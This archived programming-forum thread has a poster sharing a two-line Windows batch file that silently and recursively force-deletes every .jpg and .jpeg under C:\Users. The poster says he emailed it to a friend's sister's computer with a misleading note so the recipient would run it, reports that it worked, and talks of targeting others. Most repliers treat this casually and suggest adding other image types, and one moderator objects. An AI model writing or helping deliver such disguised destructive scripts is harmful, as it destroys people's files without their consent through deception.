Jump to content

Delete all photos on a machine

- - - - -

This topic has been archived. This means that you cannot reply to this topic.
6 replies to this topic

#1
CtownNightrider

CtownNightrider

    Newbie

  • Members
  • Pip
  • 3 posts
I need to delete some pictures of a friends sisters computer so I wrote a batch file that should delete all files that are .jpg and .jpeg.

The program is:

del /s /q /f C:\Users\*.jpg
del /s /q /f C:\Users\*.jpeg

will this work?

#2
chili5

chili5

    Writes binary right handed and hex left handed

  • Members
  • PipPipPipPipPipPipPipPipPip
  • 7,247 posts
I don't know, try it and see if it does. :/

#3
ZekeDragon

ZekeDragon

    Writes binary right handed and hex left handed

  • Moderators
  • 2,103 posts
Please don't. That looks like it'll delete every .jpg or .jpeg file that exists in every Users file everywhere. I don't think that's what you want to do, but seeing as I'm not on Windows I can't be sure.
Wow I changed my sig!

#4
CtownNightrider

CtownNightrider

    Newbie

  • Members
  • Pip
  • 3 posts
that is what its supposed to do. i sent it and it did work by the way.

#5
Lassar

Lassar

    Learning Programmer

  • Members
  • PipPipPip
  • 58 posts
What about gif's or png's ?

-
Cole manager: You have 95 minutes to take the FCC GROL test.
Student: How many lifelines do we get ?

#6
James.H

James.H

    Programming God

  • Members
  • PipPipPipPipPipPipPip
  • 866 posts
How fast was it ?

#7
CtownNightrider

CtownNightrider

    Newbie

  • Members
  • Pip
  • 3 posts
based on the way the file came to be on the computer and the computer illiteracy of the people involved i guessed the file type would not be changed. if launching on a different person i would have been more thorough.

and im not sure how fast it was as i sent it to somebody i dont know. i wasnt too concerned since in the email i sent i said the file may take some time to start up and not to worry about it.